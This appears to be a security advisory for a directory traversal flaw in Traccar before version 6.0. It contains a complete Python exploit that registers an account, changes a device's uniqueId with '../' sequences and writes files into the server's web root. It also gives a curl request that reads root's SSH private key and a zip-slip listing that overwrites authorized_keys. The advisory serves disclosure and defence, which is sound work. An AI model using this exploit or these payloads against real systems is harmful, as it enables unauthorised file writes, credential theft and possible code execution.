Directory Traversal Affecting org.traccar:traccar package, versions [,6.0)

Affected versions of this package are vulnerable to Directory Traversal due to the system's handling of file uploads and directory access controls. Attackers, after acquiring ordinary user permissions through account registration, can exploit this vulnerability to upload files with the device. prefix under any folder. This flaw can be leveraged for phishing, cross-site scripting attacks, and potentially to execute arbitrary commands on the server.

import requests
import random
import string
import sys

session = requests.session()

def generate_random_string(length=8):
    letters = string.ascii_letters
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str


def register(target, username):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": username,
        "email": f"{username}@admin.com",
        "password": "123456",
        "totpKey": None
    }
    
    res = session.post(f"{target}/api/users",headers=headers, json=data)
    return res


def login(target, username):
    headers = {
        'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
    }
    data = 'email=' + username + '@admin.com&password=123456'
    res = session.post(f"{target}/api/session",headers=headers, data=data)
    return res


def add_device(target, device_name):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": device_name,
        "uniqueId": device_name
    }
    res = session.post(f"{target}/api/devices",headers=headers, json=data)
    return res


def upload_file(target, device_id, file_suffix, data):
    headers = {
        'Content-Type': f"image/{file_suffix}"
    }
    res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
    return res

def change_upload_path(target, device_id, device_name, upload_path):
    headers = {
        'Content-Type': 'application/json'
    }
    data = {
        "id": device_id,
        "attributes": {
            "deviceImage": "device.png"
        },
        "groupId": 0,
        "calendarId": 0,
        "name": "test",
        "uniqueId": f"{device_name}/../../../../..{upload_path}",
        "status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
    res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
    return res


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} http://example.com:8082")
        sys.exit(0)
    target = sys.argv[1]
    username = generate_random_string()
    # register user
    res = register(target, username)
    if username not in res.text:
        print("Register Error!!")
        sys.exit(0)
    print(f"Register: {username}@admin.com  Password: 123456")
    # login
    res = login(target, username)
    if username not in res.text:
        print("Login Error!!")
        sys.exit(0)
    print("Login Success!!")
    device_name = generate_random_string()

    # Add Device
    res = add_device(target, device_name)
    if 'id' not in res.text:
        print("ADD Device Error!!")
        sys.exit(0)
    print(f'Add Device Success!! [{device_name}]')
    device_id = res.json()['id']

    # # Upload File
    suffix = generate_random_string()
    data = generate_random_string(20)
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)
    print(f"First Upload Success!!")

    # Change Upload Path
    upload_path = "/opt/traccar/modern"
    res = change_upload_path(target, device_id, device_name, upload_path)
    if upload_path not in res.text:
        print("Change Upload Path Error!!")
        sys.exit(0)
    print("Change Upload Path Success!!")

    # Upload File Again
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)
    
    print("Upload Success!!")
    # Check upload
    # if set upload_path = "/opt/traccar/modern"
    check_url = f"{target}/device.{suffix}"
    print(f"Check: {check_url}")
    res = session.get(check_url)
    if data in res.text:
        print("Is a Vulnerability!")
    else:
        print('Not is a Vulnerability!')

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

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